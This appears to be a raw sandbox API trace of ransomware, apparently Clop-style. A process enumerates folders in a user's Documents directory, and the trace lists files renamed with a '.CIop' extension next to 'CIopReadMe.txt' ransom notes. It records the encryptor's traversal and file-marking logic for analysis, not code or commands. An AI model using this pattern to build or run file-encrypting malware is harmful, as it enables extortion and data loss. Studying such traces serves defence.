[0138.479] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0138.479] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0138.479] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.479] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.479] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 1 [0138.479] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 0 [0138.479] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.479] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0138.479] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0138.479] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.479] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0138.480] SetErrorMode (uMode=0x1) returned 0x1 [0138.480] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0138.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0138.480] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0138.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0138.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.480] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0138.480] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0138.480] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.480] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.480] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.480] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.480] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.480] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.480] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0138.480] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0138.480] lstrlenW (lpString=".CIop") returned 5 [0138.480] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.480] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0138.480] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0138.480] lstrlenW (lpString=".CIop") returned 5 [0138.480] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.480] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.480] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.480] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0138.480] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0138.480] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.480] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0138.480] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.481] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.481] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.481] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.481] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0138.481] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0138.481] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0138.481] SetErrorMode (uMode=0x1) returned 0x1 [0138.481] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0138.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0138.481] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0138.481] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0138.481] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.481] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0138.481] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0138.481] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0138.481] lstrlenW (lpString=".CIop") returned 5 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0138.481] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0138.481] lstrlenW (lpString=".CIop") returned 5 [0138.481] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.481] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.481] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.482] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0138.482] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0138.482] lstrlenW (lpString=".CIop") returned 5 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0138.482] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0138.482] lstrlenW (lpString=".CIop") returned 5 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0138.482] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0138.482] lstrlenW (lpString=".CIop") returned 5 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.482] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.482] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.482] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0138.482] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0138.482] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0138.482] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0138.482] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.482] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0138.482] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0138.483] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0138.483] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0138.483] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0138.483] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0138.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0138.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0138.483] SetErrorMode (uMode=0x1) returned 0x1 [0138.484] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0138.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0138.484] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0138.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0138.484] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0138.484] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0138.484] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.484] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0138.484] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0138.484] lstrlenW (lpString=".CIop") returned 5 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.484] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0138.485] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0138.485] lstrlenW (lpString=".CIop") returned 5 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0138.485] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0138.485] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0138.485] lstrlenW (lpString=".CIop") returned 5 [0138.485] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0138.485] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0138.485] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0138.485] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0138.485] 